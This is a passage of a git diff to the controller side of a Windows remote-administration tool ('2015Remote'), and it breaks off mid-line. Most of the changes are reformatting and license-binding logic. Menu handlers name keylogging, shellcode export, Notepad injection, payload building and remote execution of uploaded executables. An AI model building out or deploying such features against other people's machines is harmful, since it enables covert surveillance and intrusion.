a/lib/PrivateDesktop_Libx64.lib and b/lib/PrivateDesktop_Libx64.lib differ diff --git a/lib/PrivateDesktop_Libx64d.lib b/lib/PrivateDesktop_Libx64d.lib index 1c87d30..c17825c 100644 Binary files a/lib/PrivateDesktop_Libx64d.lib and b/lib/PrivateDesktop_Libx64d.lib differ diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index a66728d..186cd11 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -207,40 +207,40 @@ static BOOL IsAgentMode() BOOL IsRunningAsAdmin() { - BOOL isAdmin = FALSE; - PSID administratorsGroup = NULL; + BOOL isAdmin = FALSE; + PSID administratorsGroup = NULL; - SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; - if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, &administratorsGroup)) { - if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) { - isAdmin = FALSE; - } + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, &administratorsGroup)) { + if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) { + isAdmin = FALSE; + } - FreeSid(administratorsGroup); - } + FreeSid(administratorsGroup); + } - return isAdmin; + return isAdmin; } BOOL LaunchAsAdmin(const char* szFilePath, const char* verb) { - SHELLEXECUTEINFOA shExecInfo; - ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA)); - shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA); - shExecInfo.fMask = SEE_MASK_DEFAULT; - shExecInfo.hwnd = NULL; - shExecInfo.lpVerb = verb; - shExecInfo.lpFile = szFilePath; - shExecInfo.nShow = SW_NORMAL; + SHELLEXECUTEINFOA shExecInfo; + ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA)); + shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA); + shExecInfo.fMask = SEE_MASK_DEFAULT; + shExecInfo.hwnd = NULL; + shExecInfo.lpVerb = verb; + shExecInfo.lpFile = szFilePath; + shExecInfo.nShow = SW_NORMAL; - return ShellExecuteExA(&shExecInfo); + return ShellExecuteExA(&shExecInfo); } BOOL CMy2015RemoteApp::InitInstance() { - char curFile[MAX_PATH] = { 0 }; - GetModuleFileNameA(NULL, curFile, MAX_PATH); + char curFile[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, curFile, MAX_PATH); if (!IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) { Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n"); return FALSE; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index a676895..42e946a 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b81f099..bfaa2a8 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -373,6 +373,24 @@ std::string GetParentDir() return path; } +std::string CMy2015RemoteDlg::GetHardwareID(int v) +{ + int version = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v; + switch (version) { + case 0: + return getHardwareID(); + case 1: { + std::string master = THIS_CFG.GetStr("settings", "master"); + if (!master.empty()) return master; + IPConverter cvt; + std::string id = cvt.getPublicIP(); + return id; + } + default: + return ""; + } +} + CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) { auto s = GetMasterHash(); @@ -557,10 +575,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) - ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) - ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify) - ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) - END_MESSAGE_MAP() + ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) + ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify) + ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) +END_MESSAGE_MAP() // CMy2015RemoteDlg 消息处理程序 @@ -797,10 +815,31 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]"); - LeaveCriticalSection(&m_cs); - Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), - std::to_string(id).c_str()); + bool needNotify = false; + NOTIFYICONDATA nidCopy = {}; + CString infoTitle; + CString infoText; + if (m_Nid.cbSize == sizeof(NOTIFYICONDATA) && ::IsWindow(m_Nid.hWnd)) { + nidCopy = m_Nid; // 复制结构 + nidCopy.cbSize = sizeof(NOTIFYICONDATA); + nidCopy.uFlags |= NIF_INFO; + infoTitle = _T("主机上线"); + infoText = strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]"); + needNotify = true; + } + LeaveCriticalSection(&m_cs); + Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), + std::to_string(id).c_str()); + // 在临界区外填充字符串并调用 Shell_NotifyIcon(避免长时间持有 m_cs) + if (needNotify) { + CStringA titleA(infoTitle); + CStringA textA(infoText); + lstrcpynA(nidCopy.szInfoTitle, titleA.GetString(), sizeof(nidCopy.szInfoTitle)); + lstrcpynA(nidCopy.szInfo, textA.GetString(), sizeof(nidCopy.szInfo)); + nidCopy.uTimeout = 5000; + Shell_NotifyIcon(NIM_MODIFY, &nidCopy); + } SendMasterSettings(ContextObject); } @@ -1060,11 +1099,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog() AUTO_TICK(500, ""); CDialogEx::OnInitDialog(); - UPDATE_SPLASH(15, "正在注册主控信息..."); - THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd())); - THIS_CFG.SetStr("settings", "SN", getDeviceID(getHwFallback)); - THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash()); - THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash()); + UPDATE_SPLASH(15, "正在注册主控信息..."); + THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd())); + THIS_CFG.SetStr("settings", "SN", getDeviceID(GetHardwareID())); + THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash()); + THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash()); UPDATE_SPLASH(20, "正在初始化文件上传模块..."); int ret = InitFileUpload(GetHMAC()); @@ -1698,10 +1737,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate() } } -std::string floatToString(float f) { - char buf[32]; - snprintf(buf, sizeof(buf), "%.2f", f); - return std::string(buf); +std::string floatToString(float f) +{ + char buf[32]; + snprintf(buf, sizeof(buf), "%.2f", f); + return std::string(buf); } void CMy2015RemoteDlg::OnOnlineDelete() @@ -1722,10 +1762,10 @@ void CMy2015RemoteDlg::OnOnlineDelete() context* ctx = (context*)m_CList_Online.GetItemData(iItem); m_CList_Online.DeleteItem(iItem); m_HostList.erase(ctx); - auto tm = ctx->GetAliveTime(); - std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : - tm >= 3600 ? floatToString(tm / 3600.f) + " h" : - tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + auto tm = ctx->GetAliveTime(); + std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ctx->Destroy(); strIP+="断开连接"; ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]"); @@ -1840,7 +1880,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) auto settings = "settings", pwdKey = "Password"; // 验证口令 CPasswordDlg dlg(this); - static std::string hardwareID = getHardwareID(getHwFallback); + static std::string hardwareID = GetHardwareID(); static std::string hashedID = hashSHA256(hardwareID); static std::string deviceID = getFixedLengthID(hashedID); CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str(); @@ -1865,6 +1905,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) std::string fixedKey = getFixedLengthID(finalKey); if (hash256 != fixedKey) { THIS_CFG.SetStr(settings, pwdKey, ""); + THIS_CFG.SetStr(settings, "PwdHmac", ""); if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) { if (!dlg.m_sPassword.IsEmpty()) MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING); @@ -2264,27 +2305,30 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0; auto v = splitString(passcode, '-'); if (v.size() == 6 || v.size() == 7) { - std::vector subvector(v.end() - 4, v.end()); - std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]); - std::string finalKey = deriveKey(password, sn); - std::string hash256 = joinString(subvector, '-'); - std::string fixedKey = getFixedLengthID(finalKey); - valid = (hash256 == fixedKey); + std::vector subvector(v.end() - 4, v.end()); + std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]); + std::string finalKey = deriveKey(password, sn); + std::string hash256 = joinString(subvector, '-'); + std::string fixedKey = getFixedLengthID(finalKey); + valid = (hash256 == fixedKey); } if (valid) { static const char* superAdmin = getenv("YAMA_PWD"); std::string pwd = superAdmin ? superAdmin : m_superPass; if (VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac)) { Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str()); - std::string tip = passcode + " 校验成功: " + sn; - CharMsg* msg = new CharMsg(tip.c_str()); - PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - } - else { + std::string tip = passcode + " 校验成功: " + sn; + CharMsg* msg = new CharMsg(tip.c_str()); + PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); + } else { valid = FALSE; Mprintf("%s 校验成功, HMAC 校验失败: %s\n", passcode.c_str(), sn.c_str()); } + } else { + Mprintf("%s 校验失败: %s\n", passcode.c_str(), sn.c_str()); } + } else { + Mprintf("授权数据长度不足: %u\n", len); } char resp[100] = { valid }; const char* msg = valid ? "此程序已获授权,请遵守授权协议,感谢合作" : "未获授权或消息哈希校验失败"; @@ -2301,9 +2345,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) std::string hash = GetPwdHash(), hmac = GetHMAC(100); std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend, hash, hmac).detach(); - } - else { - Mprintf("GetClipboardFiles failed: %d\n", result); + } else { + Mprintf("GetClipboardFiles failed: %d\n", result); } break; } @@ -2569,10 +2612,10 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) CLock L(m_cs); m_HostList.erase(host); } - DialogBase* p = (DialogBase*)wParam; - if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) { - return S_OK; - } + DialogBase* p = (DialogBase*)wParam; + if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) { + return S_OK; + } CString ip, port; port.Format("%d", lParam); @@ -2586,9 +2629,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) m_CList_Online.DeleteItem(i); m_HostList.erase(ctx); auto tm = ctx->GetAliveTime(); - std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" : - tm >= 3600 ? floatToString(tm / 3600.f) + " h" : - tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]"); break; } @@ -2671,13 +2714,13 @@ context* CMy2015RemoteDlg::FindHost(int port) context* CMy2015RemoteDlg::FindHost(uint64_t id) { - CLock L(m_cs); - for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { - if ((*i)->GetClientID() == id) { - return *i; - } - } - return NULL; + CLock L(m_cs); + for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { + if ((*i)->GetClientID() == id) { + return *i; + } + } + return NULL; } void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) @@ -2731,15 +2774,15 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41); + LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41); LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49); - uint64_t clientID = p ? *((uint64_t*)p) : 0; + uint64_t clientID = p ? *((uint64_t*)p) : 0; uint64_t dlgID = q ? *((uint64_t*)q) : 0; auto mainCtx = clientID ? FindHost(clientID) : NULL; CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL; if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); if (dlg) { - if (GetRemoteWindow(dlg->GetSafeHwnd())) + if (GetRemoteWindow(dlg)) return dlg->UpdateContext(ContextObject); Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID); } @@ -2855,7 +2898,8 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) return CDialogEx::PreTranslateMessage(pMsg); } -LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) { +LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) +{ // WM_COMMAND 不计时 if (message == WM_COMMAND) { return CDialogEx::WindowProc(message, wParam, lParam); @@ -2866,13 +2910,12 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) LRESULT result = CDialogEx::WindowProc(message, wParam, lParam); auto ms = std::chrono::duration_cast( - std::chrono::steady_clock::now() - start).count(); + std::chrono::steady_clock::now() - start).count(); if (ms > m_TraceTime) { if (message >= WM_USER) { Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms); - } - else { + } else { Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms); } } @@ -2912,7 +2955,7 @@ LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam) void CMy2015RemoteDlg::OnToolAuth() { CPwdGenDlg dlg; - std::string hardwareID = getHardwareID(getHwFallback); + std::string hardwareID = GetHardwareID(); std::string hashedID = hashSHA256(hardwareID); std::string deviceID = getFixedLengthID(hashedID); dlg.m_sDeviceID = deviceID.c_str(); @@ -3445,10 +3488,10 @@ void CMy2015RemoteDlg::OnToolRequestAuth() std::string pwd = THIS_CFG.GetStr("settings", "Password"); BOOL noPwd = pwd.empty(); if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?", - "声明", MB_ICONQUESTION | MB_YESNO)) + "声明", MB_ICONQUESTION | MB_YESNO)) return; CInputDialog dlg(this); - dlg.m_str = getDeviceID(getHwFallback).c_str(); + dlg.m_str = getDeviceID(GetHardwareID()).c_str(); dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):"); if (!noPwd) dlg.Init2("授权口令:", pwd.c_str()); @@ -3807,10 +3850,10 @@ void CMy2015RemoteDlg::OnOnlineUninstall() context* ctx = (context*)m_CList_Online.GetItemData(iItem); m_CList_Online.DeleteItem(iItem); m_HostList.erase(ctx); - auto tm = ctx->GetAliveTime(); - std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : - tm >= 3600 ? floatToString(tm / 3600.f) + " h" : - tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + auto tm = ctx->GetAliveTime(); + std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ctx->Destroy(); strIP += "断开连接"; ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]"); @@ -3882,7 +3925,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup() { CInputDialog dlg(this); dlg.Init("修改分组", "请输入分组名称:"); - if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){ + if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) { return; } if (dlg.m_str.GetLength() >= 24) { @@ -3955,7 +3998,7 @@ void CMy2015RemoteDlg::OnExecuteDownload() void CMy2015RemoteDlg::OnExecuteUpload() { CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST, - _T("可执行文件 (*.exe)|*.exe||"), this); + _T("可执行文件 (*.exe)|*.exe||"), this); if (dlg.DoModal() != IDOK) return; @@ -4005,56 +4048,55 @@ void CMy2015RemoteDlg::OnDestroy() CString GetClipboardText() { - if (!OpenClipboard(nullptr)) return _T(""); + if (!OpenClipboard(nullptr)) return _T(""); - CString strText; + CString strText; - // 优先获取 Unicode 格式 - HANDLE hData = GetClipboardData(CF_UNICODETEXT); - if (hData) { - wchar_t* pszText = static_cast(GlobalLock(hData)); - if (pszText) { + // 优先获取 Unicode 格式 + HANDLE hData = GetClipboardData(CF_UNICODETEXT); + if (hData) { + wchar_t* pszText = static_cast(GlobalLock(hData)); + if (pszText) { #ifdef UNICODE - strText = pszText; + strText = pszText; #else - // 将 Unicode 转换为多字节(使用系统默认代码页) - int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr); - if (len > 0) { - char* pBuf = strText.GetBuffer(len); - WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr); - strText.ReleaseBuffer(); - } + // 将 Unicode 转换为多字节(使用系统默认代码页) + int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr); + if (len > 0) { + char* pBuf = strText.GetBuffer(len); + WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr); + strText.ReleaseBuffer(); + } #endif - } - GlobalUnlock(hData); - } + } + GlobalUnlock(hData); + } - CloseClipboard(); - return strText; + CloseClipboard(); + return strText; } void SetClipboardText(const char* utf8Text) { - if (!OpenClipboard(nullptr)) return; - EmptyClipboard(); + if (!OpenClipboard(nullptr)) return; + EmptyClipboard(); - // UTF-8 转 Unicode - int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0); - if (wlen > 0) { - HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t)); - if (hGlob) { - wchar_t* p = static_cast(GlobalLock(hGlob)); - if (p) { - MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen); - GlobalUnlock(hGlob); - SetClipboardData(CF_UNICODETEXT, hGlob); - } - else { - GlobalFree(hGlob); - } - } - } - CloseClipboard(); + // UTF-8 转 Unicode + int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0); + if (wlen > 0) { + HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t)); + if (hGlob) { + wchar_t* p = static_cast(GlobalLock(hGlob)); + if (p) { + MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen); + GlobalUnlock(hGlob); + SetClipboardData(CF_UNICODETEXT, hGlob); + } else { + GlobalFree(hGlob); + } + } + } + CloseClipboard(); } CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd) @@ -4067,6 +4109,19 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd) return ret; } +CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg) +{ + EnterCriticalSection(&m_cs); + for (auto& pair : m_RemoteWnds) { + if (pair.second == dlg) { + LeaveCriticalSection(&m_cs); + return pair.second; + } + } + LeaveCriticalSection(&m_cs); + return NULL; +} + void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) { EnterCriticalSection(&m_cs); @@ -4129,9 +4184,8 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam Sleep(100); Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n"); SAFE_DELETE_ARRAY(szBuffer); - } - else { - Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result); + } else { + Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result); } } } else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) { @@ -4280,16 +4334,16 @@ void CMy2015RemoteDlg::OnParamLoginNotify() static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0); notify = !notify; THIS_CFG.SetInt("settings", "LoginNotify", notify); - CMenu* SubMenu = m_MainMenu.GetSubMenu(2); - SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED); + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED); } void CMy2015RemoteDlg::OnParamEnableLog() { m_settings.EnableLog = !m_settings.EnableLog; - CMenu* SubMenu = m_MainMenu.GetSubMenu(2); - SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED); - THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog); - SendMasterSettings(nullptr); + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED); + THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog); + SendMasterSettings(nullptr); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 24bf3b9..053bdb7 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -1,5 +1,4 @@ - -// 2015RemoteDlg.h : 头文件 +// 2015RemoteDlg.h : 头文件 // #pragma once @@ -107,14 +106,13 @@ enum { class CSplashDlg; // 前向声明 -inline std::string getHwFallback() { - IPConverter cvt; - return cvt.getPublicIP(); -} +#include "pwd_gen.h" // CMy2015RemoteDlg 对话框 class CMy2015RemoteDlg : public CDialogEx { +public: + static std::string GetHardwareID(int v=-1); protected: ComputerNoteMap m_ClientMap; CString GetClientMapData(ClientKey key, int typ) @@ -253,6 +251,7 @@ public: uint64_t m_superID; std::map m_RemoteWnds; CDialogBase* GetRemoteWindow(HWND hWnd); + CDialogBase* GetRemoteWindow(CDialogBase* dlg); void RemoveRemoteWindow(HWND wnd); CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无 afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam); diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 3bda615..abd8253 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -423,12 +423,12 @@ BOOL CBuildDlg::OnInitDialog() m_OtherItem.ShowWindow(SW_HIDE); m_runasAdmin = FALSE; - m_MainMenu.LoadMenuA(IDR_MENU_BUILD); - CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + m_MainMenu.LoadMenuA(IDR_MENU_BUILD); + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED); SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED); - ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单 - ::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单 + ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单 + ::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单 return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE @@ -502,14 +502,14 @@ void CBuildDlg::OnHelpFindden() void CBuildDlg::OnMenuEncryptIp() { m_strEncryptIP = m_strEncryptIP == "是" ? "否" : "是"; - CMenu* SubMenu = m_MainMenu.GetSubMenu(0); - SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED); + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED); } void CBuildDlg::OnClientRunasAdmin() { m_runasAdmin = !m_runasAdmin; - CMenu* SubMenu = m_MainMenu.GetSubMenu(0); - SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); } diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index 535f252..485d075 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -89,6 +89,8 @@ CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_DIALOG_PASSWORD, pParent) , m_sDeviceID(_T("")) , m_sPassword(_T("")) + , m_sPasscodeHmac(THIS_CFG.GetStr("settings", "PwdHmac", "").c_str()) + , m_nBindType(THIS_CFG.GetInt("settings", "BindType", 0)) { m_hIcon = nullptr; } @@ -106,10 +108,15 @@ void CPasswordDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sDeviceID, 19); DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword); DDV_MaxChars(pDX, m_sPassword, 42); + DDX_Control(pDX, IDC_COMBO_BIND, m_ComboBinding); + DDX_Control(pDX, IDC_EDIT_PASSCODE_HMAC, m_EditPasscodeHmac); + DDX_Text(pDX, IDC_EDIT_PASSCODE_HMAC, m_sPasscodeHmac); + DDX_CBIndex(pDX, IDC_COMBO_BIND, m_nBindType); } BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx) + ON_CBN_SELCHANGE(IDC_COMBO_BIND, &CPasswordDlg::OnCbnSelchangeComboBind) END_MESSAGE_MAP() @@ -121,10 +128,32 @@ BOOL CPasswordDlg::OnInitDialog() m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD)); SetIcon(m_hIcon, FALSE); + m_ComboBinding.InsertString(0, "计算机硬件信息"); + m_ComboBinding.InsertString(1, "主控IP或域名信息"); + m_ComboBinding.SetCurSel(m_nBindType); + return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } +void CPasswordDlg::OnCbnSelchangeComboBind() +{ + m_nBindType = m_ComboBinding.GetCurSel(); + std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType); + m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str(); + m_EditDeviceID.SetWindowTextA(m_sDeviceID); +} + +void CPasswordDlg::OnOK() +{ + UpdateData(TRUE); + if (!m_sDeviceID.IsEmpty()) { + THIS_CFG.SetInt("settings", "BindType", m_nBindType); + THIS_CFG.SetStr("settings", "PwdHmac", m_sPasscodeHmac.GetString()); + } + + CDialogEx::OnOK(); +} // CPasswordDlg 消息处理程序 @@ -197,7 +226,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey() getFixedLengthID(finalKey); m_sPassword = fixedKey.c_str(); m_EditPassword.SetWindowTextA(fixedKey.c_str()); - std::string hardwareID = getHardwareID(getHwFallback); + std::string hardwareID = 